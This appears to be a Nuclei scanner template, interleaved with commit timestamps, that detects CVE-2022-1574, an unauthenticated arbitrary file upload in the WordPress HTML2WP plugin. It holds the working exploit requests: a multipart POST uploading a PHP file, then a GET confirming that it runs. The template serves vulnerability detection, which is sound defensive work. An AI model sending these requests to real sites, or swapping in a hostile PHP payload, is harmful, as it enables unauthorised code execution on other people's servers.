2022-10-19 10:16:16 +00:00
id : CVE-2022-1574
info :
2022-10-25 13:40:49 +00:00
name : WordPress HTML2WP <=1.0.0 - Arbitrary File Upload
2022-10-19 10:16:16 +00:00
author : theamanrawat
severity : critical
description : |
2022-10-25 13:40:49 +00:00
WordPress HTML2WP plugin through 1.0.0 contains an arbitrary file upload vulnerability. The plugin does not perform authorization and CSRF checks when importing files and does not validate them. As a result, an attacker can upload arbitrary files on the remote server.
2022-10-19 10:16:16 +00:00
reference :
- https://wpscan.com/vulnerability/c36d0ea8-bf5c-4af9-bd3d-911eb02adc14
- https://wordpress.org/plugins/html2wp/
2022-10-19 10:31:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1574
2022-10-19 10:16:16 +00:00
classification :
2022-10-19 17:33:26 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-10-19 10:16:16 +00:00
cve-id : CVE-2022-1574
2022-10-19 17:33:26 +00:00
cwe-id : CWE-434
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:html2wp_project:html2wp:*:*:*:*:*:*:*:*
epss-score : 0.60802
2022-10-19 10:16:16 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2022-10-19 17:33:26 +00:00
verified : "true"
tags : wp-plugin,wp,fileupload,unauth,wpscan,cve2022,wordpress,intrusive,cve,html2wp
2022-10-19 10:16:16 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-10-19 10:16:16 +00:00
- raw :
- |
POST /wp-admin/admin.php?page=html2wp-settings HTTP/1.1
Host : {{Hostname}}
Content-Length : 253
Content-Type : multipart/form-data; boundary=---------------------------7816508136577551742878603990
Connection : close
-----------------------------7816508136577551742878603990
Content-Disposition : form-data; name="local_importing[]"; filename="{{randstr}}.php"
Content-Type : text/html
<?php
echo "File Upload success";
-----------------------------7816508136577551742878603990 --
- |
GET /wp-content/uploads/html2wp/{{randstr}}.php HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
- "status_code_1 == 302"
- "status_code_2 == 200"
2022-10-19 10:19:42 +00:00
- "contains(body_2, 'File Upload success')"
condition : and
2022-10-25 13:40:49 +00:00
# Enhanced by md on 2022/10/20